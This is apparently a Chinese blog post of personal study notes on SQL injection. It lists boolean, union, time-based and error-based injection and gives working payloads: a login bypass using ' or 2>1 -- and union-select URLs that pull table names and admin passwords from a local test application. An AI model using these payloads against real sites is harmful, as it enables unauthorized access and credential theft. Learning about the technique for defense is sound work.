WEB安全之 -- SQL注入

什么是SQL注入?

当客户端提交的数据未作处理或者转义直接带入数据库就造成数SQL注入

SQL注入有哪些注入方式?

1. 布尔注入(返回真或假)

2. 联合注入(两个表一起查询)

3. 延时注入定时器查询

4. 报错注入(报错 但是信息是我们想要的)

个人理解总结:

注入实际分为两大类

(1)整型(没有单双引号)

(2)字符串(有单双引号)

还有我们经常熟悉的Cookie注入、Post注入、headler注入、等这些,其实就是换个表达一样,都是可以分为这两大类,只是获取的值方式不一样。

1. 布尔注入:

就登录而言,一般正常情况下我们输入用户名和密码,输入正确的可成功登录到系统,输入错误则登录失败

--user/pass -> admin:123456
select username, password from admin where username='admin' and password='123456' -- success

select username, password from admin where username='admin' and password='123' -- failed

我们换种方式,在用户名里这样构造查询 (1' or 2>1 -- )--- 单引号闭合了SQL查询语句 ---

select username,password from admin where username='1' or 2>1 --' and password='111'
--或者2>1也可以直接改为true
select username,password from admin where username='1' or true --' and password='111'
--结果
-+------------+------------+
username       password

admin          123456
-+------------+------------+

2. 联合注入

2.1 需要获取字段的总数

order by *

group by *

进行连接查询

union select

2.2 获取数据库

Database()

2.3 获取数据库中的表

http://127.0.0.1/sqlzhur/admin/list.php?act=update&id=2 and 1=2 union select  1,2 ,TANLE_NAME from infomation_schema.TABLES where TABLE_SCHEMA='sqlzhur' limit 2,1

2.4 获取数据库里面的表的字段

select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin';

2.5 获取内容

http://127.0.0.1/sqlzhur/admin/list.php?act=update&id=2 and 1=2 union select 1,username,password from admin

以上是关于sql注入的学习经验总结,后续在更

goodlucky!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值